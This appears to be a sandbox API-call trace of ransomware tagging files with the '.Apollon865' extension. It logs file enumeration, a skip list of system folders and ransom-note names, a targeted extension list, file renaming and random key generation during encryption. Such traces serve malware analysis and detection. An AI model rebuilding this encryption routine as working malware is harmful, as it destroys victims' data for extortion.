	[0077.619] CryptGenRandom (in: hProv=0x5bfde8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.619] CryptReleaseContext (hProv=0x5bfde8, dwFlags=0x0) returned 1
	[0077.619] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c0, lpName=0x0) returned 0x118
	[0077.620] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c0) returned 0x100000
	[0077.621] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfde8) returned 1
	[0077.622] CryptGenRandom (in: hProv=0x5bfde8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.622] CryptReleaseContext (hProv=0x5bfde8, dwFlags=0x0) returned 1
	[0077.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0077.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0077.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.623] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.623] CloseHandle (hObject=0x118) returned 1
	[0077.623] CloseHandle (hObject=0xc0) returned 1
	[0077.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfd60 | out: hHeap=0x580000) returned 1
	[0077.623] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.623] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="Apollon865.txt.exe") returned 1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2=".") returned 1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="..") returned 1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="windows") returned -1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="bootmgr") returned 1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="temp") returned -1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="pagefile.sys") returned -1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="boot") returned 1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="ids.txt") returned 1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="ntuser.dat") returned 1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="perflogs") returned -1
	[0077.623] lstrcmpiW (lpString1="ose.exe", lpString2="MSBuild") returned 1
	[0077.624] lstrlenW (lpString="ose.exe") returned 7
	[0077.624] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0077.624] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ose.exe" | out: lpString1="ose.exe") returned="ose.exe"
	[0077.624] lstrlenW (lpString="ose.exe") returned 7
	[0077.624] lstrlenW (lpString="Apollon865") returned 10
	[0077.624] lstrlenW (lpString=".dll") returned 4
	[0077.624] lstrcmpiW (lpString1="ose.exe", lpString2=".dll") returned 1
	[0077.624] lstrlenW (lpString=".lnk") returned 4
	[0077.624] lstrcmpiW (lpString1="ose.exe", lpString2=".lnk") returned 1
	[0077.624] lstrlenW (lpString=".ini") returned 4
	[0077.624] lstrcmpiW (lpString1="ose.exe", lpString2=".ini") returned 1
	[0077.624] lstrlenW (lpString=".sys") returned 4
	[0077.624] lstrcmpiW (lpString1="ose.exe", lpString2=".sys") returned 1
	[0077.624] lstrlenW (lpString="ose.exe") returned 7
	[0077.624] lstrlenW (lpString="bak") returned 3
	[0077.624] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0077.624] lstrlenW (lpString="ba_") returned 3
	[0077.624] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0077.624] lstrlenW (lpString="dbb") returned 3
	[0077.624] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0077.624] lstrlenW (lpString="vmdk") returned 4
	[0077.624] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0077.624] lstrlenW (lpString="rar") returned 3
	[0077.624] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0077.624] lstrlenW (lpString="zip") returned 3
	[0077.624] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0077.624] lstrlenW (lpString="tgz") returned 3
	[0077.624] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0077.624] lstrlenW (lpString="vbox") returned 4
	[0077.624] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0077.624] lstrlenW (lpString="vdi") returned 3
	[0077.624] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0077.624] lstrlenW (lpString="vhd") returned 3
	[0077.624] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0077.624] lstrlenW (lpString="vhdx") returned 4
	[0077.624] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0077.624] lstrlenW (lpString="avhd") returned 4
	[0077.624] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0077.624] lstrlenW (lpString="db") returned 2
	[0077.624] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0077.624] lstrlenW (lpString="db2") returned 3
	[0077.624] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0077.624] lstrlenW (lpString="db3") returned 3
	[0077.625] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0077.625] lstrlenW (lpString="dbf") returned 3
	[0077.625] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0077.625] lstrlenW (lpString="mdf") returned 3
	[0077.625] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0077.625] lstrlenW (lpString="mdb") returned 3
	[0077.625] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0077.626] lstrlenW (lpString="sql") returned 3
	[0077.626] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0077.626] lstrlenW (lpString="sqlite") returned 6
	[0077.626] lstrcmpiW (lpString1="se.exe", lpString2="sqlite") returned -1
	[0077.626] lstrlenW (lpString="sqlite3") returned 7
	[0077.626] lstrlenW (lpString="sqlitedb") returned 8
	[0077.626] lstrlenW (lpString="xml") returned 3
	[0077.626] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0077.626] lstrlenW (lpString="$er") returned 3
	[0077.626] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0077.626] lstrlenW (lpString="4dd") returned 3
	[0077.626] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0077.626] lstrlenW (lpString="4dl") returned 3
	[0077.626] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0077.626] lstrlenW (lpString="^^^") returned 3
	[0077.626] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0077.626] lstrlenW (lpString="abs") returned 3
	[0077.626] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0077.626] lstrlenW (lpString="abx") returned 3
	[0077.626] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0077.626] lstrlenW (lpString="accdb") returned 5
	[0077.626] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1
	[0077.626] lstrlenW (lpString="accdc") returned 5
	[0077.626] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1
	[0077.626] lstrlenW (lpString="accde") returned 5
	[0077.626] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1
	[0077.626] lstrlenW (lpString="accdr") returned 5
	[0077.626] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1
	[0077.626] lstrlenW (lpString="accdt") returned 5
	[0077.626] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1
	[0077.626] lstrlenW (lpString="accdw") returned 5
	[0077.626] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1
	[0077.627] lstrlenW (lpString="accft") returned 5
	[0077.627] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1
	[0077.627] lstrlenW (lpString="adb") returned 3
	[0077.627] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0077.627] lstrlenW (lpString="adb") returned 3
	[0077.627] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0077.627] lstrlenW (lpString="ade") returned 3
	[0077.627] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0077.627] lstrlenW (lpString="adf") returned 3
	[0077.627] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0077.627] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0077.627] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0077.627] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="osetup.dll" | out: lpString1="osetup.dll") returned="osetup.dll"
	[0077.627] lstrlenW (lpString="osetup.dll") returned 10
	[0077.627] lstrlenW (lpString="Apollon865") returned 10
	[0077.627] lstrlenW (lpString=".dll") returned 4
	[0077.627] lstrcmpiW (lpString1="osetup.dll", lpString2=".dll") returned 1
	[0077.627] lstrlenW (lpString=".lnk") returned 4
	[0077.627] lstrcmpiW (lpString1="osetup.dll", lpString2=".lnk") returned 1
	[0077.627] lstrlenW (lpString=".ini") returned 4
	[0077.627] lstrcmpiW (lpString1="osetup.dll", lpString2=".ini") returned 1
	[0077.627] lstrlenW (lpString=".sys") returned 4
	[0077.627] lstrcmpiW (lpString1="osetup.dll", lpString2=".sys") returned 1
	[0077.627] lstrlenW (lpString="osetup.dll") returned 10
	[0077.628] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OWOW32WW.cab" | out: lpString1="OWOW32WW.cab") returned="OWOW32WW.cab"
	[0077.628] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0077.628] lstrlenW (lpString="Apollon865") returned 10
	[0077.628] lstrcmpiW (lpString1="OW32WW.cab", lpString2="Apollon865") returned 1
	[0077.628] lstrlenW (lpString=".dll") returned 4
	[0077.628] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".dll") returned 1
	[0077.628] lstrlenW (lpString=".lnk") returned 4
	[0077.628] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".lnk") returned 1
	[0077.628] lstrlenW (lpString=".ini") returned 4
	[0077.628] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".ini") returned 1
	[0077.628] lstrlenW (lpString=".sys") returned 4
	[0077.628] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".sys") returned 1
	[0077.628] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0077.628] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PidGenX.dll" | out: lpString1="PidGenX.dll") returned="PidGenX.dll"
	[0077.628] lstrlenW (lpString="PidGenX.dll") returned 11
	[0077.628] lstrlenW (lpString="Apollon865") returned 10
	[0077.628] lstrcmpiW (lpString1="idGenX.dll", lpString2="Apollon865") returned 1
	[0077.628] lstrlenW (lpString=".dll") returned 4
	[0077.628] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".dll") returned 1
	[0077.628] lstrlenW (lpString=".lnk") returned 4
	[0077.628] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".lnk") returned 1
	[0077.628] lstrlenW (lpString=".ini") returned 4
	[0077.628] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".ini") returned 1
	[0077.628] lstrlenW (lpString=".sys") returned 4
	[0077.628] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".sys") returned 1
	[0077.628] lstrlenW (lpString="PidGenX.dll") returned 11
	[0077.628] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms"
	[0077.628] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0077.628] lstrlenW (lpString="Apollon865") returned 10
	[0077.628] lstrcmpiW (lpString1="ice.xrm-ms", lpString2="Apollon865") returned 1
	[0077.628] lstrlenW (lpString=".dll") returned 4
	[0077.628] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".dll") returned 1
	[0077.628] lstrlenW (lpString=".lnk") returned 4
	[0077.629] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".lnk") returned 1
	[0077.629] lstrlenW (lpString=".ini") returned 4
	[0077.629] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".ini") returned 1
	[0077.629] lstrlenW (lpString=".sys") returned 4
	[0077.629] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".sys") returned 1
	[0077.629] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0077.629] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ProPlusrWW.msi" | out: lpString1="ProPlusrWW.msi") returned="ProPlusrWW.msi"
	[0077.629] lstrlenW (lpString="ProPlusrWW.msi") returned 14
	[0077.629] lstrlenW (lpString="Apollon865") returned 10
	[0077.629] lstrcmpiW (lpString1="lusrWW.msi", lpString2="Apollon865") returned 1
	[0077.629] lstrlenW (lpString=".dll") returned 4
	[0077.629] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2=".dll") returned 1
	[0077.629] lstrlenW (lpString=".lnk") returned 4
	[0077.629] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2=".lnk") returned 1
	[0077.629] lstrlenW (lpString=".ini") returned 4
	[0077.629] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2=".ini") returned 1
	[0077.629] lstrlenW (lpString=".sys") returned 4
	[0077.629] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2=".sys") returned 1
	[0077.629] lstrlenW (lpString="ProPlusrWW.msi") returned 14
	[0077.629] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ProPlusrWW.xml" | out: lpString1="ProPlusrWW.xml") returned="ProPlusrWW.xml"
	[0077.629] lstrlenW (lpString="ProPlusrWW.xml") returned 14
	[0077.629] lstrlenW (lpString="Apollon865") returned 10
	[0077.629] lstrcmpiW (lpString1="lusrWW.xml", lpString2="Apollon865") returned 1
	[0077.629] lstrlenW (lpString=".dll") returned 4
	[0077.629] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2=".dll") returned 1
	[0077.629] lstrlenW (lpString=".lnk") returned 4
	[0077.629] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2=".lnk") returned 1
	[0077.629] lstrlenW (lpString=".ini") returned 4
	[0077.629] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2=".ini") returned 1
	[0077.629] lstrlenW (lpString=".sys") returned 4
	[0077.629] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2=".sys") returned 1
	[0077.629] lstrlenW (lpString="ProPlusrWW.xml") returned 14
	[0077.630] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.Apollon865") returned 88
	[0077.630] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.631] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0077.631] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=16852) returned 1
	[0077.631] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.631] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.631] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfd60
	[0077.631] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfde8) returned 1
	[0077.632] CryptGenRandom (in: hProv=0x5bfde8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.632] CryptReleaseContext (hProv=0x5bfde8, dwFlags=0x0) returned 1
	[0077.632] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44e0, lpName=0x0) returned 0x118
	[0077.634] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44e0) returned 0x100000
	[0077.635] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfde8) returned 1
	[0077.636] CryptGenRandom (in: hProv=0x5bfde8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.636] CryptReleaseContext (hProv=0x5bfde8, dwFlags=0x0) returned 1
	[0077.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.636] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.636] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0077.636] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.636] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0077.636] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.636] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.636] CloseHandle (hObject=0x118) returned 1
	[0077.637] CloseHandle (hObject=0xc0) returned 1
	[0077.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfd60 | out: hHeap=0x580000) returned 1
	[0077.637] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.637] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="Apollon865.txt.exe") returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".") returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="..") returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="windows") returned -1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="bootmgr") returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="temp") returned -1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="pagefile.sys") returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="boot") returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="ids.txt") returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="ntuser.dat") returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="perflogs") returned 1
	[0077.637] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="MSBuild") returned 1
	[0077.637] lstrlenW (lpString="ProPrWW.cab") returned 11
	[0077.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0077.637] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ProPrWW.cab" | out: lpString1="ProPrWW.cab") returned="ProPrWW.cab"
	[0077.637] lstrlenW (lpString="ProPrWW.cab") returned 11
	[0077.637] lstrlenW (lpString="Apollon865") returned 10
	[0077.637] lstrcmpiW (lpString1="roPrWW.cab", lpString2="Apollon865") returned 1
	[0077.637] lstrlenW (lpString=".dll") returned 4
	[0077.638] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".dll") returned 1
	[0077.638] lstrlenW (lpString=".lnk") returned 4
	[0077.638] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".lnk") returned 1
	[0077.638] lstrlenW (lpString=".ini") returned 4
	[0077.638] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".ini") returned 1
	[0077.638] lstrlenW (lpString=".sys") returned 4
	[0077.638] lstrcmpiW (lpString1="ProPrWW.cab", lpString2=".sys") returned 1
	[0077.638] lstrlenW (lpString="ProPrWW.cab") returned 11
	[0077.638] lstrlenW (lpString="bak") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0077.638] lstrlenW (lpString="ba_") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0077.638] lstrlenW (lpString="dbb") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0077.638] lstrlenW (lpString="vmdk") returned 4
	[0077.638] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0077.638] lstrlenW (lpString="rar") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0077.638] lstrlenW (lpString="zip") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0077.638] lstrlenW (lpString="tgz") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0077.638] lstrlenW (lpString="vbox") returned 4
	[0077.638] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0077.638] lstrlenW (lpString="vdi") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0077.638] lstrlenW (lpString="vhd") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0077.638] lstrlenW (lpString="vhdx") returned 4
	[0077.638] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0077.638] lstrlenW (lpString="avhd") returned 4
	[0077.638] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0077.638] lstrlenW (lpString="db") returned 2
	[0077.638] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0077.638] lstrlenW (lpString="db2") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0077.638] lstrlenW (lpString="db3") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0077.638] lstrlenW (lpString="dbf") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0077.638] lstrlenW (lpString="mdf") returned 3
	[0077.638] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0077.639] lstrlenW (lpString="mdb") returned 3
	[0077.639] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0077.639] lstrlenW (lpString="sql") returned 3
	[0077.639] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0077.639] lstrlenW (lpString="sqlite") returned 6
	[0077.639] lstrcmpiW (lpString1="WW.cab", lpString2="sqlite") returned 1
	[0077.639] lstrlenW (lpString="sqlite3") returned 7
	[0077.639] lstrcmpiW (lpString1="rWW.cab", lpString2="sqlite3") returned -1
	[0077.639] lstrlenW (lpString="sqlitedb") returned 8
	[0077.639] lstrcmpiW (lpString1="PrWW.cab", lpString2="sqlitedb") returned -1
	[0077.639] lstrlenW (lpString="xml") returned 3
	[0077.639] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0077.639] lstrlenW (lpString="$er") returned 3
	[0077.639] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0077.639] lstrlenW (lpString="4dd") returned 3
	[0077.639] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0077.639] lstrlenW (lpString="4dl") returned 3
	[0077.639] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0077.639] lstrlenW (lpString="^^^") returned 3
	[0077.639] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0077.639] lstrlenW (lpString="abs") returned 3
	[0077.639] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0077.639] lstrlenW (lpString="abx") returned 3
	[0077.639] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0077.639] lstrlenW (lpString="accdb") returned 5
	[0077.639] lstrcmpiW (lpString1="W.cab", lpString2="accdb") returned 1
	[0077.639] lstrlenW (lpString="accdc") returned 5
	[0077.639] lstrcmpiW (lpString1="W.cab", lpString2="accdc") returned 1
	[0077.639] lstrlenW (lpString="accde") returned 5
	[0077.639] lstrcmpiW (lpString1="W.cab", lpString2="accde") returned 1
	[0077.639] lstrlenW (lpString="accdr") returned 5
	[0077.639] lstrcmpiW (lpString1="W.cab", lpString2="accdr") returned 1
	[0077.639] lstrlenW (lpString="accdt") returned 5
	[0077.639] lstrcmpiW (lpString1="W.cab", lpString2="accdt") returned 1
	[0077.639] lstrlenW (lpString="accdw") returned 5
	[0077.639] lstrcmpiW (lpString1="W.cab", lpString2="accdw") returned 1
	[0077.639] lstrlenW (lpString="accft") returned 5
	[0077.639] lstrcmpiW (lpString1="W.cab", lpString2="accft") returned 1
	[0077.639] lstrlenW (lpString="adb") returned 3
	[0077.639] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0077.639] lstrlenW (lpString="adb") returned 3
